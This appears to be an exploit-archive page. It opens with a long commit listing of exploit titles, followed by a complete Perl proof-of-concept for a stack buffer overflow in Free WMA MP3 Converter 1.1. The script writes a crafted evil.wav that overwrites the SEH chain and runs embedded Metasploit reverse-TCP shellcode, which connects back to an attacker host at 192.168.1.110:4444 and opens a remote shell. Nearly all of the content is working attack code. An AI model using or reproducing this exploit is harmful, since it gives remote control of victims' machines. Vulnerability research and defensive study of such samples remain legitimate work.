6cbe6ebbb6
395 changes to exploits/shellcodes EO Video 1.36 - Local Heap Overflow Denial of Service / (PoC) Electronics Workbench - '.ewb' Local Stack Overflow (PoC) BulletProof FTP Client 2.63 - Local Heap Overflow (PoC) Easy Web Password 1.2 - Local Heap Memory Consumption (PoC) Compface 1.5.2 - '.xbm' Local Buffer Overflow (PoC) eEye Retina WiFi Security Scanner 1.0 - '.rws Parsing' Buffer Overflow (PoC) Zortam MP3 Media Studio 9.40 - Multiple Memory Corruption Vulnerabilities ImTOO MPEG Encoder 3.1.53 - '.cue' / '.m3u' Local Buffer Overflow (PoC) ZoIPer 2.22 - Call-Info Remote Denial of Service PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) Nuked KLan 1.7.7 & SP4 - Denial of Service AIC Audio Player 1.4.1.587 - Local Crash (PoC) Xerox 4595 - Denial of Service WinMerge 2.12.4 - Project File Handling Stack Overflow Acoustica Mixcraft 1.00 - Local Crash SopCast 3.4.7 - 'sop://' URI Handling Remote Stack Buffer Overflow (PoC) Oreans WinLicense 2.1.8.0 - XML File Handling Memory Corruption Spotify 0.8.2.610 - search func Memory Exhaustion Apple iTunes 10.6.1.7 - '.m3u' Walking Heap Buffer Overflow (PoC) WaveSurfer 1.8.8p4 - Memory Corruption (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) CoolPlayer+ Portable 2.19.4 - Local Buffer Overflow Light Audio Player 1.0.14 - Memory Corruption (PoC) Image Transfer IOS - Remote Crash (PoC) Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH) VUPlayer 2.49 - '.cue' Universal Buffer Overflow Apple Mac OSX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation IBM AIX 5.3 - 'libc' MALLOCDEBUG File Overwrite Hex Workshop 4.23/5.1/6.0 - '.hex' Universal Local Buffer Overflow (SEH) Soritong MP3 Player 1.0 - '.m3u' / UI.txt Universal Local Buffer Overflow Adobe Acrobat/Reader < 7.1.1/8.1.3/9.1 - Collab getIcon Universal Millenium MP3 Studio - '.pls' / '.mpf' / '.m3u' Universal Local Buffer Overflow (SEH) Alleycode HTML Editor 2.2.1 - Local Buffer Overflow GPG2/Kleopatra 2.0.11 - Malformed Certificate Free WMA MP3 Converter 1.1 - '.wav' Local Buffer Overflow OtsTurntables Free 1.00.047 - '.olf' Universal Buffer Overflow Watermark Master 2.2.23 - '.wstyle' Local Buffer Overflow (SEH) Dropbox < 3.3.x - OSX FinderLoadBundle Privilege Escalation MySQL / MariaDB / PerconaDB 5.5.51/5.6.32/5.7.14 - Code Execution / Privilege Escalation eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (3) QK SMTP 3.01 - 'RCPT TO' Remote Buffer Overflow (2) CA BrightStor ARCserve - 'msgeng.exe' Remote Stack Overflow quickshare file share 1.2.1 - Directory Traversal (1) SPlayer 3.7 (build 2055) - Remote Buffer Overflow Acunetix 8 build 20120704 - Remote Stack Overflow Omeka 2.2.1 - Remote Code Execution D-Link DSL-2740R - Remote DNS Change D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure Websphere/JBoss/OpenNMS/Symantec Endpoint Protection Manager - Java Deserialization Remote Code Execution TorrentTrader 1.0 RC2 - SQL Injection WEBInsta CMS 0.3.1 - 'templates_dir' Remote File Inclusion MiniPort@l 0.1.5 Beta - 'skiny' Remote File Inclusion PHP DocWriter 0.3 - 'script' Remote File Inclusion phpBB Journals System Mod 1.0.2 RC2 - Remote File Inclusion phpBB SpamBlocker Mod 1.0.2 - Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion QnECMS 2.5.6 - 'adminfolderpath' Remote File Inclusion BrewBlogger 1.3.1 - 'printLog.php' SQL Injection e-Ark 1.0 - '/src/ark_inc.php' Remote File Inclusion awrate.com Message Board 1.0 - 'search.php' Remote File Inclusion Tucows Client Code Suite (CSS) 1.2.1015 - Remote File Inclusion Gizzar 03162002 - 'index.php' Remote File Inclusion SH-News 0.93 - 'misc.php' Remote File Inclusion JSBoard 2.0.10 - 'login.php?table' Local File Inclusion XOOPS Module WF-Links 1.03 - 'cid' SQL Injection Scorp Book 1.0 - 'smilies.php?config' Remote File Inclusion WEBInsta FM 0.1.4 - 'login.php' absolute_path Remote File Inclusion mxBB Module FAQ & RULES 2.0.0 - Remote File Inclusion EQdkp 1.3.2 - 'listmembers.php' SQL Injection FlashBB 1.1.8 - 'sendmsg.php' Remote File Inclusion SimpleBlog 3.0 - 'comments_get.asp?id' SQL Injection Pakupaku CMS 0.4 - Arbitrary File Upload / Local File Inclusion CCMS 3.1 Demo - SQL Injection MoinMoin 1.5.x - 'MOIND_ID' Cookie Login Bypass BlogPHP 2 - 'id' Cross-Site Scripting / SQL Injection AuraCMS 1.62 - Multiple SQL Injections sCssBoard (Multiple Versions) - 'pwnpack' Remote s EasyNews 40tr - SQL Injection / Cross-Site Scripting / Local File Inclusion RevokeBB 1.0 RC11 - 'Search' SQL Injection Galatolo Web Manager 1.0 - Cross-Site Scripting / Local File Inclusion CaupoShop Classic 1.3 - 'saArticle[ID]' SQL Injection PHPortal 1.2 - Multiple Remote File Inclusions Libera CMS 1.12 - 'cookie' SQL Injection Zanfi CMS lite 2.1 / Jaw Portal free - 'FCKeditor' Arbitrary File Upload WCMS 1.0b - Arbitrary Add Admin FOSS Gallery Admin 1.0 - Arbitrary File Upload MemHT Portal 4.0.1 - SQL Injection / Code Execution Mediatheka 4.2 - Blind SQL Injection Pligg 9.9.5b - Arbitrary File Upload / SQL Injection XOOPS 2.3.2 - 'mydirname' PHP Remote Code Execution Joomla! Component Casino 0.3.1 - Multiple SQL Injections s ZeusCart 2.3 - 'maincatid' SQL Injection ASP Football Pool 2.3 - Remote Database Disclosure LightNEasy sql/no-db 2.2.x - System Configuration Disclosure Zen Cart 1.3.8 - Remote Code Execution Joomla! Component com_pinboard - 'task' SQL Injection Joomla! Component com_bookflip - 'book_id' SQL Injection Messages Library 2.0 - Arbitrary Delete Message Arab Portal 2.2 - Blind Cookie Authentication Bypass Joomla! Plugin JD-WordPress 2.0 RC2 - Remote File Inclusion REZERVI 3.0.2 - Remote Command Execution Joomla! Component BF Quiz 1.0 - SQL Injection (2) E-Xoopport Samsara 3.1 (eCal Module) - Blind SQL Injection AJ Matrix DNA - SQL Injection Joomla! Component JE Story Submit - Local File Inclusion CF Image Hosting Script 1.3.82 - File Disclosure hastymail2 webmail 1.1 rc2 - Persistent Cross-Site Scripting CMSLogik 1.2.1 - Multiple Vulnerabilities C.P.Sub 4.5 - Authentication Bypass WordPress Plugin Slideshow Gallery 1.4.6 - Arbitrary File Upload Joomla! Component com_hdflvplayer < 2.1.0.1 - SQL Injection WordPress Plugin WP Symposium 14.11 - Arbitrary File Upload PHPMailer < 5.2.20 - Remote Code Execution phpIPAM 1.4 - SQL Injection Joomla! 3.9.0 < 3.9.7 - CSV Injection
80 lines
No EOL
3.2 KiB
Python
Executable file
80 lines
No EOL
3.2 KiB
Python
Executable file
#!/usr/bin/perl
|
|
#
|
|
############################################
|
|
# Free WMA MP3 Converter v1.1 (.wav) Local Buffer Overflow [seh]
|
|
# Vendor: http://www.eusing.com/
|
|
# Discovered by: KriPpLer
|
|
# http://www.x-sploited.com/
|
|
# Tested on: Windows XP Pro SP2.
|
|
############################################
|
|
|
|
# Description:
|
|
|
|
# FREE WMA MP3 converter v1.1 Local Buffer Overflow Exploit (SEH)
|
|
|
|
# This application is vulnerable to a buffer overflow when converting
|
|
# malformed .wav files. This allows for arbitrary code execution on
|
|
# the users machine.
|
|
|
|
# 1) Open Free WMA MP3 Converter
|
|
# 2) Select an output path in settings
|
|
# 3) Load the specially crafted evil.wav file
|
|
# 4) click Start...
|
|
|
|
# windows/shell_reverse_tcp - 341 bytes
|
|
# http://www.metasploit.com
|
|
# Encoder: x86/shikata_ga_nai
|
|
# LHOST=192.168.1.110, EXITFUNC=seh, LPORT=4444
|
|
|
|
my $shellcode =
|
|
"\xb8\x1f\xcb\x50\x0c\xdb\xce\x29\xc9\xd9\x74\x24\xf4\xb1" .
|
|
"\x4f\x5b\x31\x43\x14\x03\x43\x14\x83\xc3\x04\xfd\x3e\xac" .
|
|
"\xe4\x88\xc1\x4d\xf5\xea\x48\xa8\xc4\x38\x2e\xb8\x75\x8c" .
|
|
"\x24\xec\x75\x67\x68\x05\x0d\x05\xa5\x2a\xa6\xa3\x93\x05" .
|
|
"\x37\x02\x1c\xc9\xfb\x05\xe0\x10\x28\xe5\xd9\xda\x3d\xe4" .
|
|
"\x1e\x06\xcd\xb4\xf7\x4c\x7c\x28\x73\x10\xbd\x49\x53\x1e" .
|
|
"\xfd\x31\xd6\xe1\x8a\x8b\xd9\x31\x22\x80\x92\xa9\x48\xce" .
|
|
"\x02\xcb\x9d\x0d\x7e\x82\xaa\xe5\xf4\x15\x7b\x34\xf4\x27" .
|
|
"\x43\x9a\xcb\x87\x4e\xe3\x0c\x2f\xb1\x96\x66\x53\x4c\xa0" .
|
|
"\xbc\x29\x8a\x25\x21\x89\x59\x9d\x81\x2b\x8d\x7b\x41\x27" .
|
|
"\x7a\x08\x0d\x24\x7d\xdd\x25\x50\xf6\xe0\xe9\xd0\x4c\xc6" .
|
|
"\x2d\xb8\x17\x67\x77\x64\xf9\x98\x67\xc0\xa6\x3c\xe3\xe3" .
|
|
"\xb3\x46\xae\x6b\x77\x74\x51\x6c\x1f\x0f\x22\x5e\x80\xbb" .
|
|
"\xac\xd2\x49\x65\x2a\x14\x60\xd1\xa4\xeb\x8b\x21\xec\x2f" .
|
|
"\xdf\x71\x86\x86\x60\x1a\x56\x26\xb5\x8c\x06\x88\x66\x6c" .
|
|
"\xf7\x68\xd7\x04\x1d\x67\x08\x34\x1e\xad\x3f\x73\x89\x8e" .
|
|
"\xe8\x7a\x24\x67\xeb\x7c\xa9\x2b\x62\x9a\xa3\xc3\x22\x35" .
|
|
"\x5c\x7d\x6f\xcd\xfd\x82\xa5\x45\x9d\x11\x22\x95\xe8\x09" .
|
|
"\xfd\xc2\xbd\xfc\xf4\x86\x53\xa6\xae\xb4\xa9\x3e\x88\x7c" .
|
|
"\x76\x83\x17\x7d\xfb\xbf\x33\x6d\xc5\x40\x78\xd9\x99\x16" .
|
|
"\xd6\xb7\x5f\xc1\x98\x61\x36\xbe\x72\xe5\xcf\x8c\x44\x73" .
|
|
"\xd0\xd8\x32\x9b\x61\xb5\x02\xa4\x4e\x51\x83\xdd\xb2\xc1" .
|
|
"\x6c\x34\x77\xff\x9d\x84\x62\x68\x04\x7d\xcf\xf4\xb7\xa8" .
|
|
"\x0c\x01\x34\x58\xed\xf6\x24\x29\xe8\xb3\xe2\xc2\x80\xac" .
|
|
"\x86\xe4\x37\xcc\x82";
|
|
|
|
# [junk*4116][nextseh][newseh][nops*24][shellcode...]
|
|
|
|
my $garbage = "A" x 4116; # 4116 bytes to reach nextseh.
|
|
my $nextseh = "\xeb\x06\x90\x90"; # short jmp, nop nop overwrite
|
|
my $newseh = pack('V',0x1001BD04); # 0x1001BD04 pop edi, pop - ret (from lame_enc.dll)
|
|
my $nops = "\x90" x 24; # 24 byte nop sled
|
|
|
|
my $scode = $shellcode; # 341 byte shellcode
|
|
|
|
open(myfile,'>evil.wav');
|
|
|
|
my $info = "\r\n\====================================\n";
|
|
$info = $info. "Free Wav to Wma Converter v1.1\n";
|
|
$info = $info. "Local Buffer Overflow Exploit \n";
|
|
$info = $info."Author: KriPpLer\n";
|
|
$info = $info."http://www.x-sploited.com/\n";
|
|
$info = $info."====================================\r\n\r\n";
|
|
$info = $info."Usage: ./wmacon.pl\r\n\r\n";
|
|
|
|
print $info;
|
|
|
|
print myfile $garbage.$nextseh.$newseh.$nops.$scode;
|
|
|
|
print "[*] evil.wav file created successfully...\r\n";
|
|
exit; |